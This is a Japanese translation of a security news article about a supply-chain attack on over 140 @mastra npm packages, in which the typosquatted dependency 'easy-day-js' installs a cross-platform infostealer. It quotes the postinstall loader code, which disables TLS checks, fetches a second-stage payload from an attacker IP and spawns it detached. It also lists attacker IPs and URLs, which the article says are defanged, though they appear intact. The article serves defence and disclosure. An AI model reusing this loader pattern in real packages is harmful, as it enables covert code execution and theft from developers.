広く利用されているMastraネームスペース配下の140以上のnpmパッケージがソフトウェアサプライチェーン攻撃によって侵害され、開発者・CI/CDパイプライン・エンタープライズ環境が、検知困難なクロスプラットフォーム型インフォスティーラーにさらされる事態となりました。
この攻撃は、2026年6月17日にSocket Research Teamによって発見されました。攻撃者は「easy-day-js」というタイポスクワッティングの依存パッケージを悪用し、パッケージのインストール時に悄々と悪意あるペイロードを配信しました。現代の開発ワークフローにおけるMastraの高い普及率が、被害の広がりをさらに大きくしています。
攻撃者は「ehindero」というnpmアカウントを通じ、短期間のうちに141の悪意あるパッケージバージョンを公開しました。特筆すべき点として、実際の@mastra/*パッケージのコード自体には変更が加えられていないため、従来のソースコードレビューでは検知が困難でした。
攻撃の手口は依存関係インジェクションです。正規のdayjsライブラリを装った偽パッケージ「easy-day-js」をパッケージマニフェストに追加することで、悪意あるコードを紛れ込ませました。
easy-day-jsのバージョン1.11.22には、postinstallスクリプトが仕込まれており、開発者がパッケージを直接操作する前の段階で、npm installの実行時に自動的に起動する仕組みになっています。
140以上のMastraパッケージへの侵害手口
感染はインストール時に実行されるローダースクリプト(setup.cjs)から始まります。このスクリプトはTLS証明書の検証を無効化し、攻撃者が管理するインフラに接続して第2段階のペイロードをダウンロードします。その後、切り離されたバックグラウンドプロセスとして実行し、フォレンジック調査を逃れるために自己削除します。
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
const url = 'https://23.254.164.92:8000/update/49890878';
const stage2 = await (await fetch(url)).text();
child_process.spawn(process.execPath, [out, '23.254.164.123:443'], {
detached: true, stdio: 'ignore'
}).unref();
第2段階のペイロード(protocal.cjs)は、コマンド&コントロール(C2)サーバーから任意のコマンドを実行できる、永続型のNode.jsベースのインプラントです。
Windows・macOS・Linuxのそれぞれに対応した手法(レジストリのRunキー、LaunchAgent、systemdサービス)を使い、システムへの永続的な足がかりを確立します。
永続化に加え、マルウェアはホストの偵察も実施します。ブラウザの履歴(Chrome・Edge・Brave)を収集するほか、MetaMask・Phantom・Coinbase Walletなどを含む160以上の暗号資産ウォレット拡張機能を棚卸しします。
今回確認されたサンプルは主に拡張機能の列挙にとどまっていましたが、モジュール型の設計により、攻撃者は認証情報の窃取やさらなる悪用を目的とした追加ペイロードの展開も可能です。
侵害の痕跡(IOC)
| 種別 | インジケーター |
|---|---|
| C2 IP | 23.254.164.92 |
| C2 IP | 23.254.164.123 |
| URL | https://23.254.164.92:8000/update/49890878 |
| URL | https://23.254.164.123:443/49890878 |
| ファイル | protocal.cjs |
| ファイル | .pkg_history / .pkg_logs |
| 永続化 | NvmProtocal(Windows Runキー) |
| 永続化 | com.nvm.protocal(macOS LaunchAgent) |
| サービス | nvmconf.service(Linux) |
| SHA256 | b122a9873bedf145ae2a7fd024b5f309007dbb025149f4dc4ac3f7e4f32a36a4 |
| SHA256 | 221c45a790dec2a296af57969e1165a16f8f49733aeab64c0bbd768d9943badf |
注意: IPアドレスおよびドメインは、誤って名前解決やハイパーリンクが発生しないよう、意図的に無害化(例:[.])されています。再有効化はMISP・VirusTotal・SIEMなど、管理されたスレットインテリジェンスプラットフォーム内のみで行ってください。
今回の攻撃で特に懸念されるのは、依存関係のインストール中に実行される点です。CIランナーや自動ビルドシステムなど、受動的な環境であってもリスクにさらされます。
週間ダウンロード数が918,000を超える@mastra/coreのような人気パッケージが対象に含まれていることで、侵害の潜在的な規模はさらに拡大します。
TLS検証の無効化、ICAPに類似した隠密通信の利用、正規のNode/NVMコンポーネントへの偽装など、このマルウェアは高度な技術力を有しています。さらに、過去のキャンペーンで確認されたツールが再利用されていることから、組織的かつ進化を続ける脅威アクターの存在がうかがえます。
セキュリティチームは、影響を受けたバージョンをインストールしたシステムはすべて侵害済みとして対処することが推奨されます。即時の対応としては、悪意あるパッケージバージョンの削除、node_modulesディレクトリの削除、クリーンな依存関係の再インストールが必要です。
永続化メカニズムは手動で完全に除去する必要があります。また、npmトークン・クラウドシークレット・SSHキーを含む、露出した可能性のあるすべての認証情報をローテーションしてください。
組織はインストールスクリプトの無効化(npm install --ignore-scripts)、パッケージの許可リスト運用、ビルド時のアウトバウンドネットワーク接続の監視など、依存関係の管理をより厳格にすることも求められます。
今回のインシデントは、推移的な依存関係攻撃のリスクが高まっていることを示しており、従来のコード監査に加えてランタイムの振る舞い分析が不可欠であることを改めて示しています。
CISOおよびセキュリティリーダーの皆様へ:次の侵害は、顔の見えない脅威からもたらされるかもしれません。ISC2のライブウェビナー「Ghost in the Machine」にぜひご参加ください。
翻訳元: https://gbhackers.com/hackers-target-npm-ecosystem/